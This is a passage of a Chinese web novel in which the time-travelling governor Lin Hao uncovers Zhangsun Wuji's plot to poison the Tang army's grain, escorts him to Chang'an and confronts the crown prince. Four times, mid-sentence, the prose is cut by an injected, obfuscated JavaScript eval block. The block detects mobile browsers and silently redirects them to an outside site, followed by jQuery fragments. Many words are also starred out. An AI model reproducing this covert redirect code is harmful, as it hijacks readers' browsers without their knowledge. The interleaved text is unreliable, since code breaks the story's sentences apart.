林浩看完信,脸上不见丝毫意外。他将信纸在指尖轻轻一弹。
“老马,长孙无忌这老狐狸,终于还是忍不住,要烂我们的根了。”
马周凑过来,压低声音:“都督,这事绝非偶然。我们的粮仓管理,不可能出这种纰漏。”
“当然不是偶然,这是冲着离间我们和侯君集来的。”林浩站起身,“走,去会会这位有胆色的张百夫长。”
半个时辰后,都督府密室。
张三局促地坐在椅子上,看着眼前这位比自己还年轻的凉州侯。
“张百夫长,别紧张。”林浩亲自给他倒了杯茶,“你做得对。敢于站出来说真话,比什么都重要。”
一股暖流涌上心头,张三的紧张消散大半:“都督,我……我句句属实,那些米真的发霉了。”
“我信你。”林浩点点头,“把领粮和分粮的流程,再详细说一遍。”
张三仔细回忆:“每日卯时,由赵校尉的人从中央粮仓统一取粮,拉到粮草营的空地上,重新分装进各营的麻袋。我们各营只负责去把分好的粮扛回来。”
“分装的时候,只有赵校尉的人在场?”
“是,他们说为了统一调配,不让我们插手。”
“霉米,只在袋子底部有,对吗?”
“对!上面全是好米,不翻到底根本看不出来!”
林浩心中了然。这手法简单却恶毒。
在空麻袋里先撒一层霉米,再倒进好米,神不知鬼不觉。
查起来,中央粮仓没问题,责任全在“分发转运”这个模糊的环节上,矛头直指凉州方面管理不善。
“都督,咱们……该怎么办?”张三急切地问。
“你先回去,装作什么都没发生
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391635|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
林浩的语气平静,“暗中盯紧赵谦,他有任何异动,立刻来报。”
送走张三,林浩脸上的温和褪去。
长孙无忌这一招,够毒,够狠。
当夜,侯君集的身影出现在都督府的书房。
“林都督,军粮的事……”他一开口,就带着几分迟疑。
“侯将军,你觉得,这是意外吗?”林浩直接打断他。
侯君集沉默了片刻,坦言道:“我有所怀疑。但中央粮仓的账目和存粮,都无懈可击。”
“如果问题不是出在粮仓,而是出在分粮的人身上呢?”林浩将张三的供述和自己的推断和盘托出。
侯君集听完,脸色一点点变得难看。他想起了赵谦那张“为公分忧”的脸,和那番滴水不漏的话术。
“**,拿老子当枪使!”侯君集一拳砸在桌上。
就在这时,李丽质推门而入,她手里拿着一份刚整理好的卷宗,神情严肃。
“我查了赵谦的底细。”她将卷宗摊开,“他是关陇集团旁支赵氏的人,他的家族商号,和之前查到的几家向吐谷浑走私铁器的商铺,有非常隐秘的资金往来。”
这条信息,如同一道闪电,将所有的疑点串联起来。
侯君集盯着卷宗上的名字,牙缝里迸出两个字:“人赃……俱获!”
“现在还缺一个‘俱获’。”林浩走到沙盘边,拿起一枚代表“后勤营”的棋子,放在了凉州城的模型之外,“不过,也快了。”
侯君集不解地看向他。
“图鲁的斥候,最好的那几个,早就在后勤营里扮成伙夫了。”林浩的指尖在“后勤营”的棋子上轻轻一点,“鱼饵已经撒下,就等鱼儿自己上钩了。”
子时,夜色如墨。
凉州城外的后勤营地,一片死寂。
一个黑影如狸猫般,悄无声息地从一处草垛后滑出,潜入到粮草大帐的阴影里。他是图鲁手下最顶尖的斥候,此刻,他是一名普通的伙夫。
他的眼睛,死死盯着不远处赵谦的营帐。
没过多久,帐帘掀开,一个同样穿着伙夫衣服的人影鬼鬼祟祟地钻了进去。
斥候屏住呼吸,将身体更深地埋入黑暗。
一炷香后,那人影又溜了出来,迅速没入夜色。紧接着,赵谦的营帐里,烛火熄灭了。
又过了半个时辰,另一个黑影从赵谦的帐中闪出,径直朝着营地最偏僻的一座废弃马厩走去。
斥候毫不犹豫,悄无声息地跟了上去。
马厩里,另一个人早已等候多时。
借着从破窗透进的微弱月光,斥候看清了那人的侧脸——正是长孙无忌身边那名最心腹的亲兵!
赵谦将一个小布包递了过去,压着嗓子,声音里透着兴奋和狠毒。
“事已办妥,明日午时,保证三万玄甲军,至少倒下一半!到时候,姓侯的和姓林的,就是浑身是嘴也说不清了!”
那亲兵接过布包,阴恻恻地回了一句:“大人说了,不够。要让他们,全乱起来。”
“明白!”赵谦狞笑道,“我已买通了几个营的刺头,只要军中大乱,他们就趁机鼓噪,把所有罪责都推到林浩头上!就说他克扣军粮,意图谋反!”
亲兵点点头,正要离开,赵谦又叫住了他。
“还有,这是大人要的东西。”赵谦又递过去一卷羊皮,“玄甲军最新的布防图,以及……侯君集身边所有亲兵的换防时间。”
斥候在黑暗中,瞳孔骤然一缩。
这已经不是构陷,这是要直接动手了!
他看到亲兵将羊皮卷揣入怀中,转身欲走。
就在此时,黑暗中响起一声极轻的口哨。
“动手。”
第70章:金牌免死?那我送你去见发牌人
广场上的空气瞬间凝固了。
三万玄甲军将士看着那枚金光闪闪的令牌,全都下意识地后退了一步。
太上皇李渊,那可是大唐的开国之君,虽然已经退位多年,但威望依然如日中天。
侯君集握着剑柄的手开始颤抖。
刚才还义愤填膺要**长孙无忌的怒火,瞬间被这枚金牌浇得透心凉。
“侯君集!”长孙无忌见状,气焰再次嚣张起来,指着侯君集怒斥道,“见金牌如见太上皇!你敢违逆太上皇,意图谋反吗?”
侯君集陷入了巨大的两难。
一边是铁证如山的**,一边是代表孝道巅峰的太上皇权威。
他手握剑柄,进退失据,额头上冷汗直冒。
这就是大唐的规矩。
孝道治天下,太上皇的权威不容亵渎。
哪怕明知道长孙无忌是个十恶不赦的败类,但有这枚金牌在,谁也不敢动他一根汗**。
太监魏进此时也脸色煞白。
他作为皇帝的代表,更是不敢对太上皇的金牌有丝毫亵渎,只能沉默不语,暗自祈祷这件事不要闹得太大。
长孙无忌趁机煽动军心:“诸位将士!本相早就说过,林浩此人妖言惑众,连侯将军这样的忠臣都被他蒙蔽了!”
“唯有太上皇圣明烛照,早已预料到凉州有变,赐下金牌以正视听!”
他的声音越来越洪亮:“今日之事,分明是林浩设下的毒计,想要陷害本相!诸位兄弟的病症,也是他的妖术所致!”
士兵们开始窃窃私语,有人动摇了。
毕竟太上皇的金牌在那摆着,这可是天大的护身符。
林浩站在原地,看着长孙无忌得意洋洋的嘴脸,脸上的表情却异常平静。
太上皇的金牌?
确实是个好东西。
在这个孝道至上的时代,这枚金牌几乎就是免死金牌。
但是……
长孙无忌啊长孙无忌,你以为拿出这个就万事大吉了?
你根本不知道,什么叫降维打击。
就在局面即将逆转之时,林浩却出人意料地分开众人,走到长孙无忌面前。
所有人都屏住了呼吸。
这个年轻的都督要干什么?难道真的要对太上皇的金牌不敬吗?
林浩走到金牌前,对着它恭恭敬敬地行了一个大礼。
标准的三拜九叩,一丝不苟。
长孙无忌脸上露出得意的笑容。
看吧,这小子也怕了。
但下一秒,林浩的话让他笑容凝固在脸上。
“太上皇圣明烛照,早已洞悉宵小之辈的阴谋!”
林浩高声说道,“此金牌并非是来保**之命,而是来诛**之心的!”
什么?
长孙无忌愣住了。这小子在说什么?
林浩转向全场,朗声道:“太上皇乃我大唐开国之君,最重军纪与将士性命!长孙无忌谋害三万玄甲军,此乃动摇国本!太上皇若在此,必第一个下令将其严惩!”
这一番话,如雷贯耳。
对啊!太上皇李渊是什么人?
那是从血海里杀出来的开国皇帝,最恨的就是这种置国家安危于不顾的败类。
长孙无忌用毒粮害三万将士,这种行为在太上皇眼里,比谋反还可恨!
林浩紧接着对魏进说道:“魏公公,请您为证!我等今日并非违逆金牌,而是要将此**押解回京,交由当今陛下与太上皇共同审理,以全陛下之圣明,以彰太上皇之公允!”
这一番话,瞬间将难题抛了回去。
林浩偷换了概念,将“动长孙无忌”变成了“将他押回去给太上皇审判”。
在**上立于不败之地。
你不是拿太上皇的金牌压我吗?
那好,我就把你连同金牌一起送到太上皇面前,让老爷子亲自处理你。
到时候,长孙无忌用毒粮害三万将士的事情捅到太上皇那里,看他**。
魏进瞬间醒悟过来。这个解决方案太完美了。
既不违逆金牌,又能处理长孙无忌,还能给皇帝一个交代。
“林侯爷所言极是!”
侯君集也瞬间醒悟,立刻附和道,“我等正是要将此獠押回长安,请陛下与太上皇圣裁!”
他下令士兵收缴长孙无忌的兵器,但“恭敬地”允许他继续手持金牌。
毕竟,这是太上皇的东西,得好好保管着,一起送回长安。
长孙无忌彻底傻眼了。
他手中的护身符,瞬间变成了一个烫手山芋。
原本以为这枚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391638|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
金牌能保他一命,没想到林浩这小子居然来了个“欲擒故纵”,直接把他连同金牌一起“恭送”回长安。
到了长安,面对太上皇,他怎么解释自己用毒粮害三万将士的事?
“不!你们不能这样!”长孙无忌慌了,“本相有金牌在手,你们无权动我!”
“长孙大人,您说错了。”林浩笑眯眯地说道,“我们这是在保护您啊。万一您在凉州出了什么意外,我们怎么向太上皇交代?”
“还是回长安安全。那里有太上皇亲自坐镇,您一定会得到最公正的审判。”
这话说得滴水不漏。表面上是保护,实际上是押解。
士兵们推来一辆专门的囚车,但表面上称之为“护送专车”。
长孙无忌被“请”进了囚车,金牌成了他唯一的“随身物品”。
车厢很宽敞,很舒适,甚至还铺了软垫。但铁栅栏是实打实的,想跑是不可能的。
“诸位兄弟!”侯君集对着三万玄甲军高声说道,“此次凉州之行,我们不仅粉碎了敌人的阴谋,还抓获了一个大奸贼!这是大功一件!”
士兵们爆发出震天的欢呼声。
刚才还病恹恹的那些**士兵,在喝了解毒汤后,症状已经明显减轻。
知道自己逃过一劫,个个都对长孙无忌恨得牙痒痒。
李丽质站在人群中,看着这一幕,心情复杂。
长孙无忌虽然是她的长辈,但做出这种事,她也不知道该说什么。
就在将长孙无忌押入囚车时,她无意间走近了那枚金牌。
金牌在阳光下闪闪发光,正面确实刻着“太上皇敕令”四个大字,工艺精美,一看就是宫中出品。
但当李丽质无意间瞥到金牌背面时,她愣住了。
在金牌的背面,雕刻着一个极其微小、不属于皇家纹饰的奇特符号。
那个符号很小,只有指甲盖大小,而且被故意做旧了,不仔细看根本发现不了。
但李丽质从小在宫中长大,对各种皇家纹饰都了如指掌。这个符号,绝对不是皇家的东西。
她心中一惊。这枚金牌,难道有问题?
李丽质偷偷拉了拉林浩的袖子,压低声音说道:“那个金牌,背面有个奇怪的符号。”
第71章:凉州事了拂衣去,磨刀向长安
卯时三刻,长孙无忌被押入“护送专车”的那一刻,整个凉州城似乎都松了一口气。
囚车缓缓驶出都督府,车轮碾过青石板发出咯吱咯吱的声响。
透过铁栅栏,长孙无忌脸色煞白,紧紧握着那枚太上皇金牌,仿佛这是他最后的救命稻草。
三百名玄甲军将士全副武装护卫在侧。
表面上这是对太上皇金牌的敬重,实际上谁都知道,这老贼想跑是不可能的。
“都督,这下总算清净了。”马周站在都督府门口,看着囚车消失在街道尽头,长长松了一口气。
林浩点点头,转身走向府内。
剩下的时间不多了,还有很多事要处理。
书房里,侯君集已经等在那里。
他脸上的愤怒还没完全消散,显然对长孙无忌的所作所为还耿耿于怀。
“林都督,那些参与阴谋的校尉,我已经全部关押审讯。”
侯君集拱手汇报,“除了赵谦之外,还有三名校尉参与其中,不过他们只是被蒙蔽,并不知道真相。”
“从轻处理吧。”林浩在桌案后坐下,“关键是要彻底清查军中的关陇集团残余势力。这次是军粮,下次可能是什么都不知道。”
侯君集深以为然。今天如果不是林浩早有准备,三万玄甲军将士的性命都要搭进去。
这种教训,他一辈子都不会忘记。
“对了,这是《凉州未来五年发展规划》。”
林浩拿出一份厚厚的卷宗,“里面详细阐述了后续的工业升级、农业推广和军事改革计划。”
侯君集接过规划书,只看了开头几页就傻眼了。
从钢铁产量的具体指标,到粮食产量的详细目标,从新式武器的研发时间表,到牧民安置的分步实施方案,每一项都规划得清清楚楚。
“都督,这些计划......”侯君集咽了口唾沫,“我怕自己能力不足,辜负了您的信任。”
林浩摆摆手:“你不用担心。技术方面的事,科学院会负责。你只要按照手册执行,保证政策不走样就行。”
侯君集翻到军事改革那一章,看到上面写着“玄甲军标准化训练大纲”“新式武器装备计划”等内容,心中的兴奋难以抑制。
“都督,您真的愿意把这些都交给我?”
侯君集的声音有些颤抖,“这些可都是凉州的核心机密。”
“既然要交接,就要交接得彻底。”
林浩语气平静,“我相信您的能力,也相信您的品格。有您坐镇凉州,我才能安心去长安。”
侯君集深深吸了一口气,郑重地抱拳行礼:“侯君集在此立誓,必将誓死捍卫凉州模式,绝不让都督的心血付诸东流!”
“另外,我还有个不情之请。”
侯君集有些不好意思,“能否请都督在科学院保留一个荣誉院长的职位?这样以后有什么技术难题,我们还能向您请教。”
林浩笑了:“这个提议不错。那就荣誉院长吧,随时进行远程技术指导。”
两人正说着,李丽质推门进来。
她手里拿着一张纸,脸色有些凝重。
“那个金牌的符号,我画下来了。”李丽质将纸递给林浩,“你看看,认识这个符号吗?”
林浩接过纸,仔细端详着上面的图案。
这是一个类似古代篆文的复杂符号,线条古朴,带着某种神秘的气息。
看到这个符号的瞬间,林浩眉头微皱。
这个符号......他在后世的历史资料中见过。
如果没记错的话,这似乎是某个古代秘密结社的标志。
“有印象,但不太确定。”林浩将纸收起来,“看来长孙无忌与太上皇的关系,远比史**载的要复杂。”
李丽质点点头:“我从小在宫中长大,对皇家纹饰很熟悉。这个符号绝对不是皇家的东西。”
侯君集听得一头雾水:“都督,您的意思是,那枚金牌有问题?”
“暂时还不确定。”林浩将符号收进怀中,“不过这枚金牌确实蹊跷。等到了长安,或许能查出些什么。”
这时,门外传来脚步声。
魏进走了进来,脸上带着复杂的表情。
“林都督,下官前来辞行。”魏进拱手行礼,“明日一早就要启程回京了。”
“魏公公辛苦了。”林浩起身相迎,“这次凉州之行,让您见笑了。”
魏进连连摆手:“哪里的话。下官这次真是大开眼界。都督的手段,实在令人佩服得五体投地。”
“对了,这是凉州的一些特产,请魏公公带回去做个纪念。”
林浩指着桌上的几个包裹,“里面有青霉素样品和《牛瘟防治手册》,或许对朝廷有用。”
魏进眼前一亮。
这份礼物的分量,可比金银珠宝重多了。
“都督的厚礼,下官愧不敢当。”
魏进收下包裹,然后压低声音,“不过下官要提醒都督一句,长安水深,不可掉以轻心。”
林浩心中一动:“魏公公指的是?”
“都督聪明,点到为止。”
魏进意味深长地看了林浩一眼,“总之,多个朋友多条路。下官在宫中还算有些薄面,日后若有需要,尽管开口。”
说完,魏进拱手告辞,匆匆离去。
夕阳西下,都督府的院子里异常热闹。
三日期限已到,林浩即将正式卸任凉州都督一职。
侯君集早已准备好了交接仪式的一切。
三万玄甲军将士整齐列队,凉州的文武官员全部到场,就连普通百姓也自发**在府外观礼。
“诸位!”林浩站在高台上,声音在院中回荡,“今日起,侯将军将正
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391639|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
式接任凉州军政大权。我林浩不才,感谢大家这些日子的支持和信任。”
话音刚落,台下响起雷鸣般的掌声。
无论是玄甲军将士,还是凉州百姓,所有人都对这位年轻都督发自内心的敬佩。
侯君集接过官印和兵符,沉甸甸的分量让他深感责任重大。
“我侯君集在此立誓!”侯君集高举兵符,“必将秉承林都督的理念,让凉州越来越好,让大唐越来越强!”
台下再次响起热烈的掌声。
就在这时,几个代表走上高台。
图鲁代表归化牧民,张三代表玄甲军,王大锤代表工人,赵老四代表农民。他们每人手中都捧着一份礼物。
“都督!”图鲁的声音有些哽咽,“这是我们草原上最珍贵的千年雪莲,代表我们永远的敬意。”
“都督!”张三将一面锦旗递给林浩,“这是兄弟们亲手绣的,上面写着‘民族英雄’四个大字。”
王大锤和赵老四也各自献上了代表工人和农民最高敬意的礼物。
林浩接过这些礼物,心中五味杂陈。
这些朴实的人们,用最真诚的方式表达着他们的感激之情。
交接仪式结束后,都督府后堂里,林浩、李丽质和马周围坐在一张小桌旁,桌上摆着简单的酒菜。
“明天就要启程了。”马周举起酒杯,“也不知道长安那边会是什么情况。”
“兵来将挡,水来土掩。”林浩喝了一口酒,“我们已经做好了所有准备。”
李丽质却有些担心。她在宫中长大,深知朝堂险恶。
“父皇那边应该没问题,但太子……”她欲言又止。
“太子怎么了?”林浩问道。
“太子和长孙无忌走得很近。”李丽质说道,“如果长孙无忌真的提前送了密信给太子……”
马周突然放下酒杯,脸色变得凝重。
“我想到一个更可怕的可能。”他缓缓说道,“如果长孙无忌的密信不是送给陛下,而是送给太子呢?”
林浩和李丽质同时愣住了。
“你是说……”
“太子如果相信了长孙无忌的话,可能会在我们到达长安之前,就向陛下进言。”马周的声音有些发抖,“到时候,我们就真的被动了。”
“看来,这次长安之行,比我们想象的还要复杂。”
林浩最终开口,“不过不用担心,有了这个金牌那个秘密,我们反而占据了主动。”
马周若有所思:“您的意思是,将计就计?”
“对。”林浩将纸条小心收好,“明天我们就带着这个秘密出发。到了长安,无论面对什么样的局面,我们都有底牌可打。”
夜色更深了,三人继续在烛光下讨论着各种可能的应对策略。
窗外,春雨还在下着,滴滴答答地敲打着窗棂。
第72章:截胡?这人犯的罪你兜不住!
卯时刚过,长安城的天空才泛起鱼肚白。
往日里车水马龙的朱雀大街,此刻空无一人。
两侧的坊门紧闭,连平日里最爱看热闹的百姓,都只敢从门缝里偷偷往外瞧,大气不敢喘一口。
冰冷的阳光照在青石板上,反射着森然的寒意。
数百名东宫卫士身着锃亮的明光铠,如一堵钢铁城墙般横亘在朱雀门前,将整条大街堵得水泄不通。
队伍最前方,一面绣着“东宫”二字的龙纹大旗,在晨风中猎猎作响,无声地宣告着此地的**。
“看来,皇兄是真的一刻都等不了了。”
马车里,李丽质掀开一角车帘,原本明媚的脸上罩着一层寒霜。
马周催马凑到车窗边,声音压得极低:“都督,对方来者不善,不如我们绕道从金光门进,先去兵部报备,免得吃眼前亏。”
“绕道?”
林浩慢条斯理地整理着自己的衣袍,“太子殿下摆出这么大的阵仗来‘欢迎’我们,要是躲了,岂不是太不给储君面子了?”
他话音刚落,队伍后方的囚车里,突然爆发出了一阵压抑不住的狂笑。
“嘎嘎嘎……哈哈哈!”
长孙无忌死死扒着囚车的铁栅栏,用嘶哑的嗓子尖叫着,“林浩!你的死期到了!你完蛋了!”
“你以为把老夫押进京就有用吗?太子殿下英明神武,早就洞悉了你这乱臣贼子的阴谋!你等着,你给老夫等着!”
林浩连眼皮都懒得抬一下,只是淡淡地吩咐车夫:“继续走。”
车队不快不慢,车轮碾过寂静的街道,发出“咯吱、咯吱”的声响,每一下都像是敲在围观者的心头。
随着距离拉近,东宫卫队前方,一名身材魁梧的校尉猛地举起手臂,爆喝出声:
“来者止步!下马受检!”
一名凉州护卫策马上前,中气十足地回应:“车内乃凉州侯、凉州都督林浩,奉旨押解要犯长孙无忌回京复命!”
“要犯?”那校尉脸上露出一抹毫不掩饰的讥讽,“我看,你们才是要犯!”
“呛啷——”
一声令下,数百名东宫卫士齐刷刷向前踏出一步,手中横刀的刀锋在晨光下连成一片刺眼的白练。
就在这剑拔**张的时刻,卫队阵列如摩西分海般向两侧分开,一匹神骏的白色宝马缓缓踱步而出。
马上之人,一身玄色朝服,头戴紫金冠,面容俊朗却带着一股少年老成的倨傲。
正是当朝太子,李承乾!
“是太子殿下!”
“天呐,太子竟然亲自来了!”
远处躲藏的官员和百姓中发出一阵压抑的惊呼。
所有人都意识到,今天这事,要闹到天大。
李承乾勒住马缰,居高临下地俯视着林浩的车队。
“林浩!你可知罪?!”
车帘掀开,林浩一身素色长袍,从容不迫地走下马车。
他掸了掸衣角上不存在的灰尘,这才抬头看向马上的李承乾:“臣林浩,奉旨回京,不知殿下所说的‘罪’,从何而来?”
“从何而来?”
李承乾发出一声冷笑,猛地从怀中掏出一份卷轴,狠狠甩开!
那是一份用鲜血写成的奏疏,暗红色的字迹歪歪扭扭,触目惊心。
“你自己看!”
李承乾的声音陡然拔高,“此乃长孙太傅,本宫的亲舅舅,拼死送出的**!”
“**上字字泣血,状告你林浩在凉州拥兵自重,私通吐谷浑,倒卖军械,谋取暴利!更是构陷忠良,将我大唐国公打入囚车!桩桩件件,皆是灭族的大罪!今日本宫代天巡狩,便要在此地,将你这**拿下,以正视听!”
他的声音慷慨激昂,一番话说得围观者无不色变。
囚车里的长孙无忌一听这话,更是如同打了鸡血,疯狂地用身体撞击着囚车的栅栏,发出“砰砰”的闷响。
“殿下!殿下救我啊!”
长孙无忌哭得涕泪横流,声音凄厉无比,“臣冤枉!臣是被这奸贼所害!他要谋反,他要置臣于死地,为他的谋逆大业铺路啊!殿下!”
李承乾听到这熟悉的哭喊,这才将视线从林浩身上,缓缓移向那辆简陋的囚车。
当他的目光穿过栅栏,看清了里面那个蓬头垢面、衣衫褴褛的人影时,他整个人僵住了。
李承乾的脸“唰”的一下,握着马缰的手猛地一抖:“舅……舅父?您……您怎么会……”
“殿下!是臣啊!您终于来救臣了!”
长孙无忌见状,哭得更凶了,“这个林浩狼子野心,他要杀了臣!您一定要为臣做主啊!”
短暂的震惊之后,无边的怒火瞬间吞噬了李承乾的理智。
他感觉自己的脸被打得火辣辣地疼!
他本以为舅父只是被软禁,写了封**求救。
他今天带人来,是要以雷霆之势救出舅父,再定林浩的罪,完成一场完美的**秀。
可他万万没想到,林浩的胆子大到这种地步!
竟然真的把他位同宰辅的亲舅舅,像犯人一样关在囚车里,从凉州一路押到了长安城下!
“林——浩!”
李承乾忍无可忍,破口大骂,“你好大的狗胆!竟敢私囚国公,辱我皇室!来人,给本宫将他拿下!!”
“喏!”
三百东宫卫士轰然应诺,冰冷的刀锋齐齐指向林浩一行人。
就在这千钧一发之际,一个清冷的女声响起。
“皇兄,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391640|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好大的威风!”
李丽质从马车上下来,一双凤目直视着马上的李承乾。
“长孙无忌在凉州图谋毒害三万玄甲军将士,罪证确凿,人证物证俱在!我们是奉旨押解他回京,交由父皇圣裁!你现在带兵拦路,是想公然劫囚,违抗父皇的旨意吗?”
“一派胡言!”
太子身后,詹事王珪立刻跳出来呵斥道:“长乐公主,您莫要被奸人蒙蔽!长孙太傅乃国之柱石,岂会做此等大逆不道之事?分明是林浩此獠为脱罪而编造的谎言!”
“没错!”另一名东宫官员也高声附和,“无论如何,将当朝国公关入囚车游街示众,此乃奇耻大辱!是公然打我们整个李唐皇室的脸!此罪,不容宽恕!”
**的官员们七嘴八舌,纷纷声讨,瞬间将**引向了“皇室颜面”上。
李承乾被李丽质那句话顶得心头一窒,但听着身后党羽们的支持,他迅速调整了策略。
他知道,绝不能让“长孙无忌有罪”这个说法继续发酵。
“够了!”
李承乾厉声打断众人,死死盯着林浩,“林浩,本宫现在给你最后一个机会,立刻放人,然后自缚双手,随本宫回东宫听审!”
“臣,恐怕做不到。”
林浩摇了摇头,“长孙无忌是谋害三万将士的钦犯,此案干系重大,按我大唐律例,需交由大理寺与刑部会审,最终由陛下圣裁。殿下乃是储君,未来天下之主,更应以身作则,维护国法,不是吗?”
这番话,软中带硬,直接把“国法”和“陛下”两座大山搬了出来。
李承乾的脸彻底黑了。
他没想到林浩在这种情况下还敢跟他讲道理,而且句句都戳在他的软肋上。
“好,好一个维护国法!”
李承乾怒极反笑,他猛地一挥手,“既然如此,为防奸人销毁证据,也为保全长孙太傅性命!本宫决定,此案由东宫接管!所有相关人等,连同囚车,即刻移交东宫大理院,由本宫亲自审理!”
“本宫身为储君,监国理政,难道连这点权力都没有吗?!”
这话一出,所有人都明白了。
太子这是要掀桌子,准备用身份强压,直接抢人了!
“殿下,这不合规矩。”林浩依旧不紧不慢。
“在本宫这里,本宫的话,就是规矩!”
李承乾彻底失去了耐心,他不想再跟林浩废话,直接下令。
“来人!上前接管囚车!谁敢阻拦,格杀勿论!”
“喏!”
东宫卫队如狼似虎地压了上来,最前排的士兵已经伸手去抓囚车的栏杆。
林浩身后的十几名凉州护卫“唰”的一声,齐齐拔出横刀,护在囚车之前。
第73章:你不要面子,那我就不给你了
双方陷入武装对峙的边缘,空气中弥漫着战斗前的紧张气息。
围观的百姓纷纷后退,生怕被殃及池鱼。
街道两旁的商贩早就收拾摊子跑了,只有一些胆大的官员还在远处观望。
太子身边的詹事王珪见状,立刻上前一步,朗声说道:“诸位!太子殿下此举完全合乎大唐律法!”
“《大唐律》明文规定,储君有权审理涉及皇室声誉的重大案件!长孙太傅乃当朝国公,其案情关乎皇室颜面,理应由东宫接管!”
这番话将太子的**行为包装成了“符合程序正义”的举动,听起来冠冕堂皇。
“正是如此!”另一名东宫官员也站出来附和,“将国公游街示众已是大罪,若再拖延下去,岂不是要让天下人看皇室笑话?”
**的官员们纷纷点头,一副义正词严的模样。
围观的中立官员面面相觑,虽然觉得有些不妥,但在法理上确实找不出反驳的理由。
李丽质咬了咬嘴唇,在法理上暂时失语。
太子作为储君,确实有处理皇室相关案件的权力。
囚车里的长孙无忌听到这番话,心中大喜。
他就是要让太子接手,只要到了东宫,一切都能扭转。
到时候说林浩构陷忠良,说凉州有妖术,说什么都是太子一句话的事。
“殿下英明!”长孙无忌趴在铁栅栏上大声喊道,“臣冤枉啊!请殿下明察!”
太子李承乾看着局势一片大好,脸上露出得意的笑容,再次下令:“立刻接管人犯!任何阻挠者,以抗命论处!”
东宫卫队齐齐向前,准备强行夺取囚车。
就在这千钧一发之际,林浩却异常平静地对着太子躬身行礼,朗声说道:
“殿下息怒,臣并非要违逆储君,只是此案案犯身份太过特殊,东宫恐怕无权接手。”
太子闻言怒极反笑:“有何特殊?孤乃大唐储君,还有孤无权审问的犯人?”
“因为长孙大人身上,持有太上皇御赐的金牌!”
林浩的声音在广场上回荡,“此事,在凉州三万玄甲军将士众目睽睽之下,早已不是秘密!”话音刚落,全场哗然!
围观的百官面面相觑,窃窃私语声此起彼伏。
"太上皇的金牌?"
"那不是开国皇帝的信物吗?"
"这下事情复杂了......"
太子李承乾脸色瞬间变得煞白。
太上皇李渊,那可是他的皇祖父,大唐开国之君。
在这个孝道至上的时代,任何涉及太上皇的事情,都不是他一个储君能够随意处置的。
长孙无忌在囚车里听到这话,整个人都愣住了。
他怎么也没想到林浩会在这个时候捅出这件事。
林浩根本不给李承乾和长孙无忌反应的机会,继续说道:“敢问诸位大人,按我大唐律例,牵扯到太上皇信物之案,是否应由当今陛下与太上皇共同圣裁?”
“东宫是否有权绕过两位圣上,单独审理?”
这一问,直接将矛盾从“林浩抗命”瞬间转化为“东宫是否越权违制”的国本级问题。
所有中立官员脸色大变,纷纷低头不敢言语。
太上皇的权威在大唐是绝对不容挑战的,孝道治天下的规矩没人敢违背。
太子李承乾彻底懵了。
他和詹事王珪准备的所有法理依据,在“孝道”和“祖制”这两座大山面前,都变得苍白无力。
王珪额头冷汗直冒,刚才还在引经据典的嘴巴现在张了又合,合了又张,愣是说不出一句话来。
“这......这......”王珪结结巴巴,“太上皇金牌确实......确实......”
“确实什么?”林浩淡淡一笑,“确实不是东宫能够处理的级别?”
**的官员们面面相觑,谁也不敢接话。
在大唐,挑战太上皇权威就是挑战整个王朝的根基,这个罪名他们谁也承担不起。
长孙无忌气得浑身发抖,林浩这一手,是拿着他自己的护身符,反过来将**他和太子的军!
"殿下!殿下救我!“长孙无忌在囚车里拼命摇晃铁栅栏,”林浩这是要害死臣啊!臣手中的金牌,正是要向太上皇和陛下证明臣的清白!"
太子听到这话,心中一动。
对啊,舅父手中的金牌,或许正是他翻盘的关键。
"
